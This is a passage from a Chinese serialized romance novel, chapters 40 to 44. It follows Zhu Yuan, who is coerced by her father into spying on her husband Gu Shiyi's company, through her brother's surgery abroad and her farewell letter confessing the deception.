他抬眼看向那个出言不逊的男人,声音轻却分量重:“那恐怕是没机会了。今天下午董事开会,提议弹劾名单里,刚好有您二位的名字。” “还是快点回去收拾收拾东西,尽早找下家吧。” 那两人脸色骤变,瞬间没了刚才的嚣张,慌忙看向顾文城求助。 顾文城的脸色也难看到了极点,却还得强装镇定,挤出一丝僵硬的笑容:“弈侄这话是什么意思?董事开会我们怎么不知道?又为什么突然弹劾?” “上次家宴,爷爷单独叫我去书房谈了什么,大伯心里难道不清楚?”顾识弈说完,握住诸愿的手,转身便走。 走出两步,他又停下脚步,回头时声音冷冽如刀:“大伯若是想试探,尽管来。只是别忘了,舒氏的下场还摆在那里。” 顾城文看着人慢慢走远,攥紧了拳头,骨缝里传来咯咯的声响。 舒氏是他的妻族,自从上次藏宝室事件后,舒家便一夕破产,他也失去了背后的依仗,只能亲自下场争夺顾家的权柄。 他本想借着刚才两人的挑衅,惹起顾识弈的怒气,最好再闹点新闻出来,再引导董事会弹劾顾识弈,却没料到,董事会竟先一步斩了他的左膀右臂。 这意味着,父亲已经彻底放权给顾识弈,他也得到了董事们的一致认可,顾家的未来,终究是要落在这个侄子手里了。 顾文城眼底闪过一丝阴狠,咬牙低声吩咐身旁两人:“让诸 世青加快动作,我要让顾识弈身败名裂!” 地下室车库里,诸愿边走边思考刚才中年男人说“顾识弈点天灯”的事。 难道胸针是顾识弈用点天灯的方式拍下的? 顾识弈打开车门,诸愿弯腰坐了进去,放包时,才后知后觉地愣住: 什么时候起,她竟然如此自然地默认顾识弈开车门就是为自己开的? 她侧头看向随后上车的顾识弈,男人神色如常,仿佛这只是再寻常不过的举动。 诸愿暗自安慰,是顾识弈的动作太过自然,才让她也跟着习惯了,并不能怪她。 顾识弈不知道她心中的小波澜,只以为她还在为刚才的事害怕,轻声问:“吓到了?” 诸愿愣了一下才反应过来,摇了摇头。 刚开始确实有些心慌,但后来想到顾识弈在身边,那份不安便烟消云散了。 顾识弈的指尖轻轻落在她的发顶,动作轻柔。 诸愿没有闪躲,只觉得那温热的触感顺着发丝蔓延开来,让人安心,也忘了刚才的问题。 —— 额头上的伤彻底愈合后,诸愿便开始上班。 中午吃饭时,手机突然震动了一下,她解锁屏幕,冯海武的消息跳了出来: 【之前帮您看守陈秘书的两个兄弟,今天出门被人撞了。刚好在监控死角,对方处理得很干净,警方没法立案,你最近一定要小心。】 诸愿的指尖骤然收紧,下唇被牙齿咬得泛白。 一定是自己连累了他们。 她快速回复了慰问的话语,又转过去一笔医药费,做完这一切,心头的不安越发强烈。 这天她提早收工,却接到了李叔的电话,说车子在路上爆胎了,一时半会儿赶不过来。 诸愿让他先安心修车,自己打车回去就行。 站在路边,诸愿正低头看着打车软件选择车型,一辆黑色轿车突然疾驰而过。 路边刚下过雨的积水被车轮卷起,带着污泥的脏水溅在她白色毛呢大衣上,留下一片丑陋的污渍。 诸愿皱紧眉头,便见那辆车在不远处停下,车窗缓缓降下,露出一张让她心惊肉跳的脸。 对方竟是陈秘书! 他脸上带着几分狠戾地笑意,眼神阴鸷:“大小姐,好久不见。” 诸愿瞳孔骤缩,整个人僵在原地,手脚冰凉。 陈秘书见状,笑得愈发猖狂,眼底的恶意再也不加掩饰。 诸愿猛地反应过来,转身便往向梦大厦的大厅跑。 她不敢再出去,只能匆匆发消息给李叔,让他修好车后立刻来接自己。 她想起中午海武哥的消息,看来那两个兄弟被撞果然是陈秘书的手笔。 他这次来找自己,是单纯的报复,还是受了诸世青的指使来警告她? 若是后者,情况恐怕会更加棘手。 她点开手机短信,诸世青这几天一直发来消息催促她尽快拿到顾家的机密,言语间透着几分不耐与急切,显然已经等不及半个月的期限了。 接下来的几天,诸愿每次出外景,都觉得有一道视线在暗中盯着自己。 可她四处张望,却始终找不到任何可疑的人影。 “那个模特!别动,重新拍一张!”摄影师的喊声带着几分不耐,打断了她的思绪。 诸愿从来没在工作上出过岔子,可最近却频频走神,被摄影师训斥已是家常便饭,甚至有一次因为状态太差,直接被临时换了下来。 她深吸一口气,压下心头的不安,赶紧调整姿势,强迫自己专注于镜头。 中午,诸愿请了两个小时的假。 冯海武知道她被陈秘书找到后,一直放心不下,非要约她见一面才安心。 刚走出电梯,手机便震动起来。 诸愿以为是冯海武到了,低头一看,屏幕上跳动的昵称却是她重命名的“顾识弈” 顾识弈这个时候怎么会给她打电话? 她怕有什么急事,一边往外走一边按下了接听键。 刚走到大厅门口,便看见冯海武站在不远处,朝着她挥手。 “诸愿,中午一起吃饭。”电话那头,顾识弈的声音响起。 诸愿惊讶地看了看手机屏幕,还没来得及打字说自己已经有约了,顾识弈的声音又传来:“我到了,你下楼吧。” 她下意识地往路边看去,果然见那辆熟悉的黑色豪车正缓缓驶来,停在人行道旁。 就在这时,冯海武朝她跑过来。 深秋的风带着凉意,诸愿的后背却沁出了一层冷汗。 她不想让顾识弈和冯海武碰面,一是不想让冯海武知道她已经结婚的事情,二是不想让顾识弈察觉到冯海武的存在。 以顾识弈的敏锐,恐怕只需要一眼,就能顺藤摸瓜,查到她进顾家的真正目的。 若是那样,不用诸世青揭穿,顾识弈都会猜到,到时候,顾识弈绝不会放过她。 “小阿愿!”冯海武跑到她面前,语气亲切。 “愿愿。”车窗降下,顾识弈低沉悦耳的声音从车里传来。 两道声音同时响起,冯海武和顾识弈的目光在空中交汇,彼此眼中都带着狐疑与探究。 下一秒,两人不约而同地看向诸愿,异口同声地问道:“他是谁?”《 》 40-50 第41章 诸愿望着对峙的两人,冯海武眉头拧得紧紧的,眼底全是化不开的担忧,还有几分绷着的警惕。 而后座的顾识弈先前那点温润笑意早没了,眼里只剩下深不见底的墨色,一眨不眨地锁在她身上。 诸愿想打字解释,冯海武却抢先一步上前半步,挡在她身前。 他抬眸看向车中之人,语气里满是戒备:“你是谁?为什么一直纠缠小阿愿。” 对方身上那股强势又危险的气场,让他不由想起这几日跟踪诸愿的人,顿时提起了十二分小心。 视线被阻隔,顾识弈的目光落在冯海武脸上,审视的意味毫不掩饰,眼底的敌意几乎要溢出来:“我是她的丈夫。倒是你,这般亲昵地称呼别人的妻子,未免有些不妥吧?” “丈夫?”冯海武猛地转头看向诸愿,眼神里满是震惊与茫然,声音发颤:“小阿愿,他说的是真的?你什么时候……结婚了?” 诸愿的脸色瞬间白得像张纸,指甲几乎要嵌进肉里。 尖锐的疼痛感从掌心连接至心底,让她微微瑟缩了一下。 她早该知道,纸终究是包不住火的。 只要她和顾识弈有接触,苏沐会发现,海武哥自然也瞒不住。 “咔哒”一声,车门推开,顾识弈长腿迈出,身姿挺拔如松地站定在诸愿身侧。 下一秒,他伸手握住了她的手,掌心滚烫,力道坚定得不容抗拒,像是在无声地宣示主权。 诸愿浑身一僵,却不敢挣扎。 这一幕,让冯海武心中最后一丝侥幸也烟消云散。 他有太多问题想问:为什么突然结婚?又为什么瞒着所有人?眼前的男人又是谁?值得托付吗? 可话到嘴边,又怕少女夹在中间为难,最终都硬生生压了下去。 既然是诸愿认定的丈夫,他便不会为难。 冯海武换上一副温和的笑容,伸出手对顾识弈道:“我是诸愿哥哥诸贺的朋友,冯海武。我们从小一起长大,也算是诸愿半个哥哥。不知道先生怎么称呼?” 顾识弈倒是没料到他会如此坦然,听到“半个哥哥”四个字,才知是自己误会了,眼底的敌意骤然消散了大半。 他扬了扬唇角,伸手回握住冯海武的手,仿佛方才的剑拔弩张从未存在过:“顾识弈。” “既然是愿愿的哥哥,直呼我名字便好,或是叫我妹夫也无妨。” 诸愿没想到两人会突然握手言和,听到“妹夫”二字,更是震惊地瞪圆了眼睛,长长的睫毛微微颤抖着,满是不可置信。 “海武哥来找愿愿,是有什么事吗?”顾识弈顺势收紧了握着诸愿的手,语气自然地叫着“愿愿”,亲昵的称呼像是在刻意提醒着什么。 冯海武并未多想,只当 两人平日相处便是如此,回道:“诸贺如今卧病在床,曾托付我多照看诸愿。这不,今日正好过来这边出差,听说她在这上班,便过来找她吃顿午饭,叙叙旧。” 诸愿一颗心原本悬在嗓子眼,生怕海武哥一时失言,将最近有人跟踪她的事说出来,暴露所有。 听到这番话,她才悄悄松了口气,紧绷的肩膀也垮了下来。 顾识弈眸色微动,幽深的眼眸看不出太多情绪,不知是信了还是没多想,顺着他的话头道:“正好,我也是来接愿愿吃饭的。海武哥不介意的话,不如一起?” 冯海武心中本就存了查探的念头:诸贺病重,一心想要治好哥哥的诸愿却突然嫁人,这实在不合常理。 面对顾识弈的邀请,他自然不会拒绝。 他本想说坐自己的车,目光扫过顾识弈一身价值不菲的定制西装,又看了看自己那辆普通的家用车,终究还是把话咽了回去,只点了点头,笑着道:“那就多谢识弈了。” 顾识弈手搭在诸愿肩上,微笑:“海武哥客气了。” 车开去了“旬宴”,入座后,服务员递来菜单,冯海武摆了摆手,笑道:“我不挑嘴,你们点就好。” 菜品上桌时,他不动声色地扫了一圈,见每道菜都是诸愿爱吃的,悬着的心才稍稍放下。 菜过三巡,冯海武状似不经意地提起:“你们是什么时候结的婚?怎么都没通知亲朋好友?也没举办婚礼。” 冯海武特意避开了诸愿的目光,只定定地看着顾识弈,等他回答。 他知道,诸愿没说结婚的事,定然是想瞒着,问了也不会说实话。 顾识弈淡淡开口,语气平静无波:“我和愿愿是小满那天领的证。”说罢,他转头看向诸愿,眼底瞬间漾开柔和的笑意,“我们证领的急了些,婚礼还在筹备,等举行的时候,一定请海武哥到场。” 冯海武却露出了讶色。 他没想到会是这么早,细细一想,甚至在诸愿找他寻求帮助之前,她便已经结婚了。 那诸愿结婚,是真的因为两人相爱,还是……遇到了什么迫不得已的事情? 他正想追问,却见诸愿夹了块红烧肉,刚入口便微微蹙了蹙眉,像是觉得过于油腻。 顾识弈见状,立刻抬手召来身后候着的服务员,低声吩咐了几句。 不过片刻,一杯橙汁便端了上来,里面还贴心地插了一支吸管。 诸愿抬眸看了顾识弈一眼,脸颊微微泛红,轻轻点了点头以示感谢。 冯海武将这一切看在眼里,心里又放下了几分。 他原本还担心,以顾识弈这般强势霸道的性格,诸愿跟着他怕是会受委屈。 可此刻看来,顾识弈对她的照顾,竟细致到了这般地步。 而诸愿虽面露羞涩,却并未表现出丝毫抗拒,眉眼间甚至萦绕着几分难以察觉的依赖。 或许,是他多虑了。 冯海武端起茶杯,抿了一口温热的茶水,心中默默地想:只要顾识弈是真心对小阿愿好,那便也罢了。 诸愿喝完一口橙汁,本想着趁着气氛缓和,跟冯海武解释自己与顾识弈的事,却见他神色舒展,显然是彻底放下心来。 她眨了眨眼,虽不知他为何突然释怀,但只要他不再为自己担忧,便也悄悄松了口气。 吃到末尾,冯海武接了个电话,借故有事要先走。 诸愿和顾识弈一同起身相送,他却摆摆手,“不用送,不用送。”说罢,便利落转身离开了。 路过前台时,冯海武拿出手机要结账。 虽说顾识弈说了要请,但他身为诸愿的半个哥哥,怎么也不能真让晚辈破费,总得尽一份长辈的礼数。 谁知,前台却笑着告诉他:“冯先生,不好意思,‘旬宴’是会员制支付,顾总已经提前授权扣款了,您不用再结了哈。” 冯海武咋舌,再回想顾识弈一身不菲的行头、开的豪车,此刻才恍然发觉,诸愿的这位丈夫,身份竟是不简单。 包厢内,诸愿捏着吸管小口吸着橙汁,头垂得低低的,长长的睫毛遮住了眼底的慌乱,生怕他追问冯海武的事。 时间一点点过去,听到顾识弈放下筷子的轻响,她的心也跟着猛地一沉,却听顾识弈道:“吃饱了的话,我们就走了?” 诸愿没想到他什么也没问,微微愣神,随即反应过来,放下橙汁杯,快速站起身。 顾识弈开车将她送回了向梦。 诸愿下车,刚要踏入大厅,身后传来他的喊声,“诸愿。” 她回头,以为他终于要问起冯海武的事情,心微微提起,却听他道:“今晚我要开会到六点半,你下班后王叔会来接你去正远,等我结束,再一起吃晚饭。” 诸愿习惯性地点点头。 顾识弈带她出去吃饭早已是常事,静姨还曾念叨过,说外面的食物多是预制菜,不如家里做的新鲜可口。 下午的工作不忙,诸愿准时下班,走出向梦,果然看见路边停着王叔的车。 她坐上车,李叔便径直将她送去正远,显然是提前接到了通知。 下车后,她搭乘专属电梯直达总裁办公室。 林秘书早已等候在门口,笑着将她迎了进去:“太太,顾总还在开会,可能要稍等一会儿。您先坐,我给您拿橙汁和平板。” 诸愿点点头,向他道了谢。 她刚喝了一口橙汁,手机便收到顾识弈发来的信息:【到办公室了吗?帮我拍一下办公桌上的文件编号,有急用。】 她立刻放下玻璃杯,快步走到黑檀木办公桌前。 桌上果然放着一份文件,她先拍下封面发给顾识弈,问道:【是这份吗?】 顾识弈的回复很快传来:【对。】 她便翻开第一页,找到最右上角的编号拍下,正准备发送,目光却无意间扫过照片中顺带拍进去的文件名称,瞬间屏住了呼吸。 她猛地抬头,视线死死钉在桌上那份光明正大摆放着、封皮上写着“顾氏核心技术”几个大字的文件。 她不敢相信,诸世青一直胁迫她偷盗的顾氏机密现在就放在自己眼前! 心脏骤然狂跳起来,仿佛要冲破胸腔,指尖也开始不受控制地颤抖,握着的手机险些滑落。 第42章 “不好吃吗?” 顾识弈的声音隔着摇曳的烛光传来,低磁的语调混着餐厅里流淌的小提琴曲,轻轻落在诸愿耳畔。 她蓦地回神,手里还握着微凉的银质刀叉。 这是城市最高处的旋转餐厅,落地窗外霓虹如织,将夜幕晕染成流动的金红,远处的楼宇轮廓在光影中若隐若现。 台上小提琴师的弓弦轻颤,旋律悠扬。雪白桌布上,精致的牛排还冒着热气,旁边插着的红玫瑰沾着细碎水珠,在烛光下映出柔和的光,一切都很美好。 可诸愿的心里像压着一块石头,沉得让她没心思欣赏。 顾识弈办公桌上那份标着“顾氏核心技术”的机密文件,此刻像烙印般刻在她脑海里,挥之不去。 一边是能完成诸世青任务的狂喜,一边是背叛眼前人的锥心刺痛。 顾识弈待她那么好,好到让她没办法心安理得得只顾自己。可诸世青的威胁还在耳边回响,哥哥的治疗不能中断。 良心在胸腔里翻来覆去地揪着,她攥着刀叉的手指微微泛白,眼眶忽然发涩,泪水像断了线的珍珠,无声地砸在桌布上。 晕开的一小片深色水渍,如同她心底无法言说的秘密。 顾识弈正等着她的回答,视线扫过她骤然泛红的眼眶,瞳孔微缩。 不同于上一次的悲怮呜咽,这一次,她只是咬着下唇,任由眼泪静静往下掉,可这隐忍的模样,比真正哭出来更让他心里发紧。 他立刻抽取了几张纸巾起身,绕过餐桌走到她身边,指腹带着点微凉,小心翼翼地替 她拭去脸颊的泪痕。 “怎么了?”他刻意放软了语调,尾音又带着让人安心的笃定,“有什么事跟我说,我帮你解决,嗯?” 他说过的,只要她肯相信他、肯开口,无论是什么事,他都能为她摆平。 诸愿抬眸看他,泪眼蒙眬中,那双深邃的眼眸里满是温柔的鼓励。 她挣扎着、犹豫着,最终拿出手机敲了敲屏幕。 顾识弈耐心等候,直到手机递到眼前,上面写着一行字:【我想见哥哥,可以吗?】 顾识弈垂了垂眼眸,长睫掩去眸底一闪而过的情绪,片刻后便抬眼,语气依旧温和:“当然可以。” 他拿出自己的手机,当着她的面拨通了林秘书的电话,声音沉稳有力:“帮我申请飞往M国的私人飞机航线,时间——” 话音顿住,他转头看向诸愿。少女立刻在屏幕上快速敲下:【快一点的好不好?】 “最快能飞的线路。”他对着电话那头吩咐道,语气不容置疑。 听到“可以了”三个字,诸愿紧绷的肩膀微微松弛,眼眶里打转的泪水也终于停了下来,只剩下眼角未干的湿润。 可顾识弈却没打算就此揭过,他重新坐回她对面,目光直直地锁住她,认真的仿佛要望进她的心底,“现在可以告诉我,刚刚为什么哭了吗?” 他的眼神太过专注,若不是嘴角还噙着一抹浅淡的笑意,几乎要让她以为是在诘问。 诸愿定了定神,努力压下心头的慌乱,在手机上打字:【哥哥后天就要做手术了,我有点担心,所以没忍住。不好意思,麻烦你了。】 顾识弈脸上露出了然的神色,语气带着安抚:“放心,操刀的都是世界顶尖的医护团队,你哥哥的手术一定会顺利的。” 诸愿看着他没有深究的模样,悄悄松了口气,只是握着手机的手指依旧有些发凉。 那谎言像根细刺,扎在心底隐隐作痛。 —— 晚餐结束时,林秘书的电话准时打来,说航线已经申请好,可以立刻出发。 登上飞机前,诸愿的手机突然剧烈震动起来,屏幕上弹出一连串诸世青的短信,催促的字眼密密麻麻: 【只剩下三天了,诸愿,你想被揭穿吗!就不怕诸贺的治疗中断!】 【诸贺对你那么好,你到关键时刻却只想着自己,怎么这么自私!】 【顾识弈给你灌了什么迷魂汤,让你这么死心塌地?】 【再不行动,我们就鱼死网破!】 诸愿一条条看完,指尖微微泛白,过了好一会儿才回复:【还有三天,到期我会如期赴约,希望父亲不要着急。】 打完这行字,她直接按下了关机键,像是这样就能逃离一切。 飞机上,顾识弈替她推开卧室的门,里面的空间不算宽敞,却一应俱全,透着低调的奢华。 “要飞十几个小时,先睡一觉。” 诸愿点点头走了进去,躺在床上,侧头便能透过小窗看见窗外的城市灯火,在黑暗中闪烁,像一条流淌的星河。 她在心中默念:哥哥,我们很快就能见面了。 这一觉她只睡了五个小时,醒来时才凌晨两点。走出卧室,客厅的长沙发上,顾识弈正对着电脑处理工作,指尖滑动鼠标的声音在安静的机舱里格外清晰。 察觉到动静,他抬眸看来,眼中带着一丝讶异。 “睡得不舒服?” 诸愿摇摇头,床很舒服,只是心里装着事,终究睡不踏实。 她走到沙发边,正要在对面的单人沙发坐下,顾识弈已经起身往旁边挪了挪,留出了半边位置。 她没有推辞,在他身边坐下,拿起旁边的平板,打字问道:【你还有很多工作要处理吗?我突然说要来看哥哥,是不是打乱了你的计划?】 “没有。”顾识弈拿起一旁的毯子,轻轻披在她肩上,暖意瞬间包裹住她。他的声音低沉而温柔,“你的事,从来都是我的优先级。” 诸愿一怔,肩上的暖意顺着身体蔓延到心底,熨帖得让人心头发软,眼眶又有些发热。 “饿不饿?”他轻声问道。 诸愿摇摇头,打字:【你工作吧,我自己玩贪吃蛇。】 顾识弈点点头,重新将注意力放回电脑屏幕。 机舱外,飞机穿过一片又一片被晨光染成五彩的云层。 安静的空间里,只剩下鼠标的轻响和平板屏幕上游戏的细微音效,时光仿佛在这一刻慢了下来。 不知过了多久,诸愿的脑袋不自觉地靠在了顾识弈的肩上。 他侧头看去,少女已经闭上了眼睛,长长的睫毛在眼睑下投下一小片阴影,平板上的贪吃蛇正撞在墙上,弹出“闯关失败”的提示。 他动作极轻的关掉平板,又回复完最后一封邮件,确认身侧传来均匀的呼吸声,才小心翼翼地伸出手,穿过她的膝弯,稳稳地将她抱起。 脚步轻轻的,缓缓往卧室走去。 诸愿再次醒来时,机舱外已是阳光明媚。她看了眼时间,国内早上八点,当地下午四点。 她忽然想起,昨晚自己明明走出了卧室,怎么会又回到了床上? 难道是顾识弈抱她进来的? 心里泛起一丝涟漪,她起身走出卧室,餐厅里,顾识弈正站在料理台前忙碌。 阳光透过舷窗落在他身上,勾勒出他挺拔的身影,金色的光晕让他周身的冷硬线条柔和了许多。 他正专注地切吐司,动作有条不紊,将切好的吐司放进锅里加热,发出轻微的滋滋声,香气弥漫开来,填满了整个机舱。 看见她,他抬眸道:“去刷牙。” 诸愿愣愣的依言走到卫生间,刷牙时,脑海里却忍不住想着:他昨晚到底有没有睡觉? 她睡前最后一次看时间是在凌晨四点半,就算之后他立刻休息,到现在也只睡了三个多小时。 刷完牙出来,餐桌上已经摆好了早餐:烤得金黄酥脆的吐司,边缘带着点微焦,一杯温热的甜牛奶冒着袅袅热气,旁边还有一盘切好的水果拼盘,色彩鲜艳诱人。 顾识弈替她拉开椅子,语气自然:“过来。” 她坐下后,没有立刻动筷,而是拿起平板,打字问道:【你睡觉了吗?】 顾识弈将牛奶递到她手边,语气轻松:“睡了,放心,我对睡眠的需求一向不高。” 诸愿还是不放心,又敲下一行字:【等会再补一觉吧。】 他满口答应:“好。” 吃完早餐,诸愿又催了顾识弈几句,看着他走进卧室,才松了口气,拿出手机开机。 飞机上信号不算好,等了好一会儿,才涌入大量信息。 诸世青的短信依旧占了大半,诸愿直接略过,在拿到机密之前,诸世青不敢轻易揭穿她,哥哥的治疗是他最大的筹码。 滑了滑屏幕,苏沐的信息跳了出来,聊天框里,文字透露着雀跃:【愿愿,周末有空吗?我这周终于闲下来了,我们去游乐园玩万圣节主题活动吧!】后面还附了一个宣传图。 看着那条信息,诸愿的鼻腔突然一阵酸涩,眼泪差点又掉下来。 缓了好一会儿,她才打字回复:【沐沐,对不起,我哥哥明天要做手术了,我现在在飞机上,这周不能陪你出去玩了/双手合十.jpg】 信息刚发出去,苏沐的语音就传了过来,语气气愤,实则满是关心:【笨蛋!贺哥做手术这么大的事,当然是去陪他啊,说什么对不起!要不是我工作走不开,我都想跟你一起去看贺哥了!】 诸愿破涕为笑,打字:【谢谢沐沐,就知道你最好了。】顿了顿,又补充:【哥哥后续治疗要很久,我打算待 到他康复再回国,平时可能会很忙,加上时差,可能不能及时回复你信息。】 【知道啦!】苏沐很快回复,【你专心照顾贺哥,预祝贺哥手术顺利!】 诸愿回了个“嗯嗯,谢谢”的表情包,又点开郑誉的聊天框,请了一个星期的事假,对方似乎早就知道她最近状态不佳,立刻就同意了,还回复道:【好好休息,祝早日回归。】 处理完所有信息,诸愿靠在沙发上,长长地舒了口气。 她看向手机顶部的国内时间,距离给诸世青机密的期限,还剩下56个小时—— 作者有话说:女主明天就坦白啦~[撒花] 第43章 飞机降落在M国罗市时,当地夜色已浓,指针恰好指向十点。 舱门打开的瞬间,深秋的凉风裹着草木的清冽扑面而来,诸愿下意识裹紧外套,眼底却急不可耐,恨不得立刻冲到医院,看看即将手术的哥哥。 手腕被轻轻攥住,掌心的温热干燥透过布料传来,顾识弈低沉的嗓音带着安抚人心的力量:“愿愿,诸贺明早才手术,你飞了十几个小时,今晚好好睡一觉,养足精神,明天才能陪他熬过最难的时刻。” 诸愿望着他深邃眼眸里的笃定与温柔,最终还是点了点头。 她原以为会去市区酒店入住,车子却沿着铺满落叶的公路一路前行,最后拐进一扇雕花铁门,驶入一座在秋林深处的庄园。 M国的建筑带着简约典雅的质感,红砖墙爬着深褐色的藤蔓,尖顶阁楼嵌着暖黄灯火,在夜色中像童话里的城堡,静谧而温暖。 “爷爷每年都会来罗市诊所做体检,顾氏便把这一片买了下来,住着也清净。”顾识弈的声音适时响起,解答了她眼底的疑惑。 话说间,车子已停在主宅前的石阶下。庭院里灯火通明,两侧站着几位佣人,为首的是四十多岁的金发男人,高鼻梁深眼眶,笑容恭敬却不失分寸, 他快步上前,用流利的中文欠身道:“顾总,夫人,房子已经按您的吩咐打扫干净,壁炉也烧起来了。” 顾识弈颔首,自然地揽住诸愿的肩膀往里走。 跨进门的瞬间,温暖的气流裹挟着木柴燃烧的焦香涌来,驱散了满身寒气。 两人简单洗漱后便各自回房,偌大的庄园,只剩下壁炉里木柴噼啪作响的声音。 清晨七点,诸愿猛地睁开眼。 一想到“哥哥今天做手术”,心跳就骤然加快,砰砰直撞胸腔,好半响才勉强平复。可稍一停顿,那份焦灼又会卷土重来,像密密麻麻的藤蔓缠绕着心脏。 她不敢深想结果,仿佛只要一个念头不够虔诚,哥哥的手术就会出现意外。 洗漱完下楼时,佣人们已在忙碌早餐,瓷器餐具碰撞声清脆悦耳。 见她下来,众人纷纷停下动作,轻声问好:“夫人好。” 诸愿礼貌点头回应,指尖却依旧紧绷。她坐立难安,在客厅里漫无目的地踱步。 此刻才七点多,顾识弈昨晚比她更忙,想必还在休息,她不愿去打扰。 最后她坐在巨大的落地窗前,晨光透过玻璃洒在身上,暖得像一层薄纱,可心底的阴霾却浓得化不开,沉甸甸压得人喘不过气。 忽然,庭院尽头传来“哒哒”的马蹄声。 诸愿抬眼望去,只见一道颀长的身影骑着白马从晨雾中疾驰而来。 男人穿着黑色冲锋衣,身姿挺拔如松,一手勒着缰绳,一手自然垂落,风掀起他的衣角,衬得侧脸线条愈发利落流畅,没有半分刻意的张扬,却帅得让人移不开眼。 人马渐渐逼近,诸愿才看清那张熟悉的脸—— 竟是顾识弈! 直到白马停在庭院门口,门佣上前接过他手里提着的木桶,他利落地翻身下马,动作干脆利落。 诸愿望着他风尘仆仆的模样,心里泛起疑惑:他竟没在睡觉,看样子,还是一大早便出门了。 她站起身看向门口,顾识弈抬步进门,看到她时眼底漾起笑意,声音带着清晨特有的微哑:“这么早醒了。” 诸愿攥着手机,想问他去哪了,桶里装的是什么,可想到自己现在的身份没有立场去过问他的行踪,最终只是对他提了提嘴角,轻轻点了点头。 顾识弈没察觉到她的心思,又笑了笑,便转身上楼洗漱。 诸愿垂下眼帘,心里掠过一丝莫名的失落,却也只能默默藏在心底。 没过多久,佣人来请她去餐厅吃早餐。 长桌已摆好了精致的餐点,管家端来一杯温热的牛奶,恭敬地说:“夫人,这是顾总一大早特意骑马去郊外牧场取的鲜牛奶,是罗市认定的有机奶源,农夫刚挤出来的,您尝尝。” 诸愿握着温热的玻璃杯,心底的失落瞬间被暖流取代。 原来是这样! 想想顾识弈确实是做了什么,却从不会刻意邀功的人,只会默默做事。 牛奶入口醇厚丝滑,带着淡淡的奶香,暖意顺着喉咙蔓延到四肢百骸。 她抬眼时,巧好看见顾识弈换了一身浅灰色衬衫下楼,坐在她对面。 四目相对,诸愿的脸颊微微发烫,连忙低下头,小口喝着牛奶,心跳却莫名快了几分。 早餐过后,两人驱车前往医院。 抵达时,诸贺已被护士推往手术室,诸愿快步上前,紧紧握住哥哥的手。 旁边的护士等了一会儿,轻声提醒手术即将开始,诸愿才依依不舍地松开手,看着移动病床缓缓推入手术室。 厚重的门“咔哒”一声关上,红色外文“手术中”的指示灯亮起。 顾识弈一直站在她身边,原以为她会哭,可她却异常平静地走到休息椅上坐下,甚至还主动挪了挪身子,给他让出半边位置。 可他低头时,却看见她的双手紧紧攥着,指甲深深嵌进掌心,泛出青白的颜色,显然是疼极了,可她却像毫无知觉一般。 顾识弈在她身边坐下,伸手轻轻包裹住她的手,指腹顺着她的指缝插入,将她紧握的拳头缓缓撑开。 诸愿愣了一下,抬眼看向他,他的目光深邃而温柔,带着无声的安抚。 她看了他片刻,又收回目光,像是因为所有精力都被手术室里面的事牵扯着,连疑惑都没心思深究。 时间在沉默中缓缓流逝,诸愿的手偶尔会无意识地用力,掐着他的掌心,偶尔又会轻轻揉捏着他的手指,像是在寻找一丝慰藉。 顾识弈感受着她指尖的颤抖,心疼又无奈,只能任由她攥着自己的手,哪怕掌心被掐得生疼,也甘之如饴。 至少这样,他能让她知道,她不是一个人。 不知过了多久,“手术中”的外文指示灯终于熄灭。 诸愿猛地站起身,力道太猛,脑袋一阵晕眩,身体不由自主地晃了晃。 身后的顾识弈眼疾手快地扶住她的腰,稳稳将她揽在怀里,声音带着一丝不易察觉的紧张:“慢点,别着急。” 诸愿感激地看了他一眼,目光立刻投向从手术室里走出来的医生。 医生摘下口罩,脸上带着笑容,用外文说了一长串话。 诸愿的外文不好,她下意识看向顾识弈,直到看到他轻轻点头,确认手术成功,诸愿再也抑制不住,嘴角扬起灿烂的笑容,眼底却泛起了泪光,那是卸下千斤重担后的释然与喜悦。 顾识弈看着她瞬间鲜活起来的模样,也松了口气,用流利的外文向医生道谢,又询问了探望时间。 “可以探望十分钟,病人还很脆弱,需要多休息。”医生用外文回复。 顾识弈带着诸愿走进病房,便自觉地退了出去,留给他们兄妹独处的空间。 病房里,诸愿握着哥哥温热的手,积攒了许久的情绪终于崩溃,趴在床沿上无声地痛哭起来,泪水很快浸湿了洁白的床单。 她心里默念:哥哥,对不起,我只能做到这了…… 病房外,顾识弈并没有离开,而是找到了主治医生,详细询问了诸贺后续促醒康复治疗方案,确认一切稳妥后,才彻底放下心来。 他想起郑老先生跟他说过,诸愿请了一个星期的假,想必是要在这里 陪诸贺醒来。 与其让她在等待中胡思乱想,不如带她出去转转,散散心。 他拿出手机,给庄园管家发了条消息,让他制定一份未来三天安静舒适,适合放松心情的旅游攻略。 五分钟后,诸愿走出病房,眼眶红红的,显然是哭过。 顾识弈愈发觉得自己的决定是对的,提议道:“医院有医护人员和护工照顾,我们先回庄园吧,等明天再来探望。” 他以为她会犹豫,甚至是拒绝,没想到诸愿几乎立刻就点了点头。 回到庄园,吃过晚饭后,诸愿从管家那里借了一本书,坐在壁炉边的躺椅上看起来。 顾识弈在她身边坐下,拿起旁边的备用木柴,打开壁炉的微晶玻璃门,将木柴轻轻放入炉膛。 木柴遇火,很快便燃起更旺的火焰,噼啪作响,橘红色的火光映得两人的脸颊都暖融融的。 顾识弈回头时,恰好撞见诸愿放下书,正专注地看着他添柴的动作。 他心头一动,忍不住轻轻笑了笑。 诸愿察觉到他的目光,脸颊瞬间泛起红晕,连忙低下头,重新拿起书,可眼神却有些飘忽,连书页都忘了翻。 火光跳跃,将她泛红的耳尖映照得格外清晰,分不清是被火烤的,还是羞的。 夜色渐深,庄园里一片静谧,只有壁炉里的火焰还在静静燃烧,映着两个依偎的身影。 深夜,顾识弈突然从床上醒来,看了眼时间,才凌晨两点。 他揉了揉眉心,拿起水杯下楼。 管家神色匆匆地迎了上来,递上一本精装书:“顾总,这是夫人昨天交给我的,让我见到您第一眼就交给您。” 顾识弈心里莫名升起一丝不安,接过书翻开,一张折叠整齐的纸张夹在书页间。 他展开纸条,熟悉的字迹映入眼帘: 【阿弈,早上好。 我是诸愿,此刻应该已经踏上回国的航班了,很抱歉没有当面跟你告别,更抱歉这半年来对你的欺瞒……】 “顾总?”管家的声音带着小心翼翼的试探,“门佣刚刚说,监控显示夫人在两个小时前出门了,一直没回来,要不要我们去……” 管家的话还没说完,就见顾识弈猛地攥紧了纸条,指节泛白,原本平整的纸张被揉得皱巴巴的。 他周身的气压瞬间降至冰点,眼底翻涌着浓烈戾气,佛下一秒就要掀起狂风暴雨! 第44章 诸愿凌晨一点上的飞机,又中转了两个站,坐了将近十八个小时才回到国内。 她没敢多停留,单拿着手机钻进出租车,把屏幕上的地址亮给师傅看,正是半个月前诸世青约她见面的那家餐厅。 